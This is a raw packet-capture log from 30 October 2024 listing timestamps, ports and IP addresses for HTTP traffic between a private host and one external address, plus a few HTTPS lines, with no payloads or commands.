Oct 30, 2024 15:59:41.923151970 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923160076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923178911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923186064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923191071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923203945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923216105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923218012 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923228025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923260927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923409939 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923420906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923430920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923443079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923455000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923458099 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923474073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923507929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923548937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923561096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923572063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923583031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923588991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923595905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923613071 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923648119 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923824072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923835993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923846960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923868895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923896074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923898935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923908949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923919916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923932076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923943043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923954964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923964024 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923974037 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.924001932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.924146891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924160004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924170017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924182892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924194098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924199104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.924233913 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.924815893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924837112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924846888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924873114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.924873114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.924896955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924907923 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.924907923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924943924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.924968004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.924978018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925050020 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925055981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925065994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925076962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925105095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925111055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925117016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925173044 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925180912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925247908 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925247908 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925260067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925328016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925328970 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925338984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925349951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925364017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925391912 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925421000 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925472021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925486088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925494909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925520897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925555944 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925594091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925635099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925647020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925677061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925703049 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925743103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925754070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925770044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925781012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925791979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925807953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925817013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925837994 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925865889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.925957918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925968885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925973892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925980091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.925991058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926012039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926018953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.926049948 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.926105022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926115990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926147938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.926192045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926203966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926215887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926228046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926243067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.926256895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.926282883 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.926326036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926337957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926347971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926359892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926369905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926383018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926389933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.926419973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.926470995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926482916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926495075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.926523924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.926548004 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.926975965 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.931006908 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.931022882 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.931536913 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.931550026 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.961951017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.961977005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.961988926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.962073088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.962075949 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.962076902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.962084055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.962097883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.962109089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.962110996 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.962122917 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.962145090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.973823071 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.976934910 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.976954937 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.977494001 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.977515936 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.036312103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036360979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036369085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036442995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036456108 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036463976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.036501884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.036523104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036535978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036546946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036557913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036571980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036592007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.036612034 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.036827087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036844969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036856890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036901951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.036936045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036948919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.036992073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.037218094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037280083 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.037292004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037302971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037324905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037348032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037384033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.037471056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037520885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.037523031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037535906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037570000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037579060 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.037611961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037622929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.037657976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.038577080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038625956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038638115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038640022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.038712025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.038728952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038742065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038773060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038786888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.038842916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038855076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038885117 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.038902044 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.038912058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038924932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038983107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.038986921 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.038986921 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.038995981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039007902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039035082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.039062977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.039079905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039092064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039103031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039144039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.039180994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039191961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039202929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039216042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039239883 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.039288044 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.039576054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039638042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039652109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039670944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.039697886 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.039715052 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.040218115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040256023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040266991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040306091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.040335894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040348053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040359974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040369987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040407896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.040452957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040465117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040476084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040489912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040508032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.040555000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040558100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.040571928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040705919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.040739059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040750980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040761948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040791035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040807962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.040813923 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.040813923 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.040842056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.040857077 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.041488886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041507959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041517973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041551113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.041584015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041589022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.041596889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041608095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041655064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.041728020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041738987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041780949 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.041810036 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.041821003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041822910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041826963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041847944 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.041872978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.041891098 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.041898012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041903973 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.041912079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041923046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041939974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041954041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.041954041 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.041965008 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.041981936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.041992903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042006969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.042011023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042025089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042026997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.042047024 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.042072058 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.042088032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042100906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042110920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042159081 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.042175055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042409897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.042738914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042752028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042762995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042793036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042819023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.042833090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.042840958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.042853117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.043670893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.043716908 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.043718100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.043730974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.043776035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.043787003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.043816090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.043833971 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.044378996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044420004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044430971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044444084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.044455051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.044466972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044476032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.044485092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044500113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044509888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.044542074 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.044778109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044807911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044821024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044827938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.044852972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044862032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.044868946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044935942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.044953108 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044965029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044975996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044986010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.044996977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045001984 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045011044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045025110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045033932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045069933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045099974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045110941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045125961 CET	80	49716	185.215.113.206	192.168.2.6
